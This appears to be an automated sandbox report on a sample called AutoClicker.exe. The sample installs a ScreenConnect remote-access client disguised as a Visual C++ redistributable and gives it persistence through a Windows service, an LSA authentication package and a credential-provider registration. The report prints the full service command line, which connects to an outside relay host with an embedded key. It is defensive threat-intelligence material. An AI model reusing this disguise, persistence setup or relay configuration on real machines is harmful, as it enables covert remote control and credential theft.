f0b332ed4ff4f4dde04cf7463b6aba23d8cd3198bd763a627c5c196c2d775760

Analysis

max time kernel
149s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
13/11/2026, 12:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
AutoClicker\AutoClicker.exe
Size 74KB
Sample261113-n8gc5sbs8n
SHA256 f0b332ed4ff4f4dde04cf7463b6aba23d8cd3198bd763a627c5c196c2d775760
MD5 f6149c4c2c189c9d27e6e55a0017a7a0
SHA1 ed36d67f48a02c542e8f568215a14ef742527d79
SHA512 8bfec1cee5c92417a6cbcfd05036d5de012fa95a97e2becaaf5891de7642eab5e3634081cc6e05fe87fcf0821c04ccce59cf53daf10c2941f58f638c916319e8
SSDEEP 1536:DVRTTe6YkvCZI9NQUZzB0i6yJOvhvx0i6yJOvhvKHO5+8Tl2K:DVRTT3Ykqy9NQ6zn61vhv361vhvsO5+I
TLSH
T17B736A17A3694076E053063489F6CB86AA3B7953A33043CF1698A1AB1FB37C59E39774
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery persistence privilege_escalation revoked_codesign

Malware Config

Signatures

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\14.28.29910.0\ImagePath = "\"C:\\Program Files (x86)\\Microsoft Visual C++ 2019\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=442.fast-ports.com&p=8041&s=bf62b208-ab1b-4bc8-bd47-36b378452937&k=BgIAAACkAABSU0ExAAgAAAEAAQC9tEvdRVGC5lIY8X4hjpl0U0sJGDNefbQTy9CEs8H%2fsuLAC39V527bXl831TqO7MXgRnK94hZ1aOTauI2TPhqC4k%2flylXJ6D38p6xP5mx2S3qGy1rV5284%2fIJoxaEsJLZ7l0B2HwJ7xqsXfOkEcazSXuGVNQZm6cj2Wkywm83LPev272NRgJL5Ez1udPKfiyka3LB05OTsr7CFz6SdMU9niD2bEajAruU%2fKDgZzHcKsuCpSPOtVxB6tGyDCUlzt%2ba11fKeVqz108gLHpQ7IRBxW1XUK1pqnfcm7J7yrkyn1VeWAaAe2z2gCkElPg3L%2bZnZwHwdsLQILT%2b5HoiupqbW&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAaa2H0toWlEGhX8BQkSok9QAAAAACAAAAAAAQZgAAAAEAACAAAACDS9usQhYQRpYWH08%2bbzuq4bsSfvHQwi5ZLFs0mwnEJQAAAAAOgAAAAAIAACAAAADGxDiVGifKPOykbPDBXnmwsqTCz%2fg5DQRhTH6Xv43EVaAEAABsgtr6ONGnFyVKwIaa7r2KVv64ApY6Ltdpau%2bnDaRxmUDHCRg6%2fB5PGVxD1W%2bWcXdlZNXKkKM7FfHHDWw1uyLy%2f5iDOhiDOD6DjsPAEUPTg1lcP1gx04kSBwNeu64mx0Ij6yChuN%2fmRQETrm8nVjqJMd9ddCrYPBb1jRPII3X04x8lHEeXR2inMmEe98oKz%2bS%2b1hHlC5%2fhXJxCE8cd3Ws5ojU6T3Kjuw3TUAIL5mD9PzgybnDCEpxXV1ebWI%2bqHMaSuTRi7sI7LuD26IHS3%2bpJqc8Q04l9dNdQWX%2fVsy%2bDiPilBrTiBsCIMTN5W0lTpQQcuShSka1THnewDsVPwhZcbTPQzf28J0js5gmFBDdOaBWMTSgG0ziQjJd3kvRw0XHfJDuxIH5DruhZXH6fgaCTNMCgBrE%2fpa0IEe8OUQuK1K7Fk9Ov%2fopdG%2bkK6e7aFLwbMsL%2bpcS1wAe0OLuFVAlvD3BYLUh6I%2bJE5YFastRyKFTklhsCz%2fW1RGCmnf6iinTt%2bb1CfrdEEK0S121QutSOcp6EkZ2AIObnoKZtmlNWD8U44tY%2bcS2r6EUUe%2bEsapd%2foe2sO6gntZKfSCrc6t9TrI37iAXdxLF0K3zIsRkryHlPYEnrZltOQj1qjhRnjo4cSygYa3iOcmYwV5KyLGLcxTGM6m6CEHr1l5gX154g7gNKn17iPnhwrg6TpSWBtvuAO3yq8QlFpFt4WQ59WHxMj1IHeHgSmqSMjwVvBlVQ%2fqwFpowcuBQAlP5xIxMo%2bcuF5vcjSpImV%2fSeGpOYDyAXuw4253bSq1CexQlzFRjDkmaGIUfEEX0mtnmgo8lxXq6oOrcf8GEEdCn%2f2TEjkxU1Fwcf6WuR54L9u9ARkQw3e8Cx3q%2bq8idM7H0tHIMh6mt3%2fwJYBinUW2x6aIOKh6ZgA4JJC1ViIOkgTDO6%2btVd43ChXTOdgXp5rvPJha%2fObgak7YtRetuiNdDOThv%2fkI8SbzHA8d42Y34IlfNLX460ewpzoUzwX5Yf9li04qnjwXUBLrHCKRyDvyDTjjrMkqmqZNEfibTDU4AuuLQ64TYRrbIMjpCQsTHIsZNXXAG6HNSL%2b9ZD1H%2bTDf6zqt2JBw0fvR9D1PWx%2fq4H4uz2TEbnVEIYoICMsPSDHMfYe%2b7bhpE7r6x17heykaxn3sOMVdHmXY0ssecpnCIugM16gQLT%2fUa21JAxocUmqdA7FOdtotDH9vOSkJNmHjFzDyCo2daUyPUcdtLS1CtV%2fscw9bwss%2fn2NXYTNGtEYFiQrFwzuR8yVYQ9Ebi9%2fEzzO7j8dqlaYSic7VYVRs6gOP%2fkWcCemJ%2bgv%2ffDaE4%2fhYw46eINkTLceE7Dw2Fu%2b0GMZLjW6fy2x7x8o3vBjLQJVS7qwoQdl6AWXiwrO89JG388jR4ws2GCr3VdmptmReipbGsSb3cRKJCxj7vxX8n0NW0m57nbefdCyCELW0xB%2bgZPH8AmYSzVK%2brW6xmw3YRudZ973wqstvIaYz0AzfccYN%2f7HigoZ8IgM4py4oU5XOZ5LMknyoHYhbgthp9vMwnpw3L1lrLQyU4pq9DwOYsk4xNY0jDjw0AAAADq4qlo9kznIbRd%2bGFVZCJjGW44rlMyT8bHeRXKObn5sFPyGpvXgipfnmYvKUSCvOWLXDDFxEHRJImrR08QArUN&c=AutoClicker\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 6 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral1/files/0x00070000000245ce-87.dat	revoked_cert_connectwise
behavioral1/memory/4492-117-0x00000000048A0000-0x000000000497C000-memory.dmp	revoked_cert_connectwise
behavioral1/files/0x00070000000245cb-116.dat	revoked_cert_connectwise
behavioral1/memory/4492-115-0x0000000004620000-0x0000000004661000-memory.dmp	revoked_cert_connectwise
behavioral1/files/0x00070000000245c9-124.dat	revoked_cert_connectwise
behavioral1/files/0x00080000000245c6-114.dat	revoked_cert_connectwise

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c004d006900630072006f0073006f00660074002000560069007300750061006c00200043002b002b00200032003000310039005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft Visual C++ 2019\vaby32ka.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft Visual C++ 2019\vaby32ka.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\app.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\system.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\Microsoft Visual C++ 2019\Client.resources	msiexec.exe

Drops file in Windows directory 31 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIF558.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\TransformClientOverrideResx.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\TransformLicenseXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\TransformOverriddenKeys.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\e58f20c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File created	C:\Windows\Installer\e58f210.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\TransformRoleXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\TransformSecurityEventTriggerXml.xsl	rundll32.exe
File created	C:\Windows\Installer\wix{D1671C21-0A9E-B0F2-6FB4-51FCFDBF6CD8}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSIF99E.tmp	msiexec.exe
File created	C:\Windows\Installer\e58f20c.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\TransformSessionGroupXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\TransformWebConfig.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\ScreenConnect.Core.dll	rundll32.exe
File created	C:\Windows\Installer\SourceHash{D1671C21-0A9E-B0F2-6FB4-51FCFDBF6CD8}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\TransformAppConfigXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\TransformSessionEventTriggerXml.xsl	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIFA7B.tmp	msiexec.exe
File created	C:\Windows\Installer\{D1671C21-0A9E-B0F2-6FB4-51FCFDBF6CD8}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\{D1671C21-0A9E-B0F2-6FB4-51FCFDBF6CD8}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF558.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIF9DE.tmp	msiexec.exe

Executes dropped EXE 3 IoCs

pid	Process
4492	ScreenConnect.ClientService.exe
2372	ScreenConnect.WindowsClient.exe
3348	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
1808	MsiExec.exe
1028	rundll32.exe
1028	rundll32.exe
1028	rundll32.exe
1028	rundll32.exe
1028	rundll32.exe
1028	rundll32.exe
1028	rundll32.exe
1028	rundll32.exe
1028	rundll32.exe
1808	MsiExec.exe
616	MsiExec.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.ClientService.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ScreenConnect.WindowsClient.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe

Modifies registry class 45 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-d74c178152625a30\URL Protocol	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-06F1-565BA2CD5230}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Visual C++ 2019\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\12C1761DE9A02F0BF64B15CFDFFBC68D	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\ProductName = "Microsoft Visual C++ 2019 Redistributable (x64)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\ProductIcon = "C:\\Windows\\Installer\\{D1671C21-0A9E-B0F2-6FB4-51FCFDBF6CD8}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-d74c178152625a30\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-06F1-565BA2CD5230}\ = "Microsoft Visual C++ 2019 Redistributable (x64) Credential Provider"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-d74c178152625a30\shell	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings	OpenWith.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-06F1-565BA2CD5230}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-d74c178152625a30	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-d74c178152625a30\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-d74c178152625a30	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-06F1-565BA2CD5230}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\SourceList	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-d74c178152625a30\shell\open	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\12C1761DE9A02F0BF64B15CFDFFBC68D\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\Version = "236745942"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-06F1-565BA2CD5230}\InprocServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-d74c178152625a30\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\PackageCode = "12C1761DE9A02F0BF64B15CFDFFBC68D"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\6F36968BEDC499657DC471182526A503\12C1761DE9A02F0BF64B15CFDFFBC68D	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings	OpenWith.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\6F36968BEDC499657DC471182526A503	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-d74c178152625a30\shell\open\command\ = "\"C:\\Program Files (x86)\\Microsoft Visual C++ 2019\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\SourceList\PackageName = "WZF0B4.tmp"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\12C1761DE9A02F0BF64B15CFDFFBC68D\SourceList\Media	msiexec.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4348	vlc.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
5796	msiexec.exe
5796	msiexec.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe
4492	ScreenConnect.ClientService.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
536	vcomp140.dll
4348	vlc.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5092	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5092	msiexec.exe
Token: SeSecurityPrivilege	5796	msiexec.exe
Token: SeCreateTokenPrivilege	5092	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5092	msiexec.exe
Token: SeLockMemoryPrivilege	5092	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5092	msiexec.exe
Token: SeMachineAccountPrivilege	5092	msiexec.exe
Token: SeTcbPrivilege	5092	msiexec.exe
Token: SeSecurityPrivilege	5092	msiexec.exe
Token: SeTakeOwnershipPrivilege	5092	msiexec.exe
Token: SeLoadDriverPrivilege	5092	msiexec.exe
Token: SeSystemProfilePrivilege	5092	msiexec.exe
Token: SeSystemtimePrivilege	5092	msiexec.exe
Token: SeProfSingleProcessPrivilege	5092	msiexec.exe
Token: SeIncBasePriorityPrivilege	5092	msiexec.exe
Token: SeCreatePagefilePrivilege	5092	msiexec.exe
Token: SeCreatePermanentPrivilege	5092	msiexec.exe
Token: SeBackupPrivilege	5092	msiexec.exe
Token: SeRestorePrivilege	5092	msiexec.exe
Token: SeShutdownPrivilege	5092	msiexec.exe
Token: SeDebugPrivilege	5092	msiexec.exe
Token: SeAuditPrivilege	5092	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5092	msiexec.exe
Token: SeChangeNotifyPrivilege	5092	msiexec.exe
Token: SeRemoteShutdownPrivilege	5092	msiexec.exe
Token: SeUndockPrivilege	5092	msiexec.exe
Token: SeSyncAgentPrivilege	5092	msiexec.exe
Token: SeEnableDelegationPrivilege	5092	msiexec.exe
Token: SeManageVolumePrivilege	5092	msiexec.exe
Token: SeImpersonatePrivilege	5092	msiexec.exe
Token: SeCreateGlobalPrivilege	5092	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
Token: SeTakeOwnershipPrivilege	5796	msiexec.exe
Token: SeShutdownPrivilege	616	MsiExec.exe
Token: SeRestorePrivilege	5796	msiexec.exe
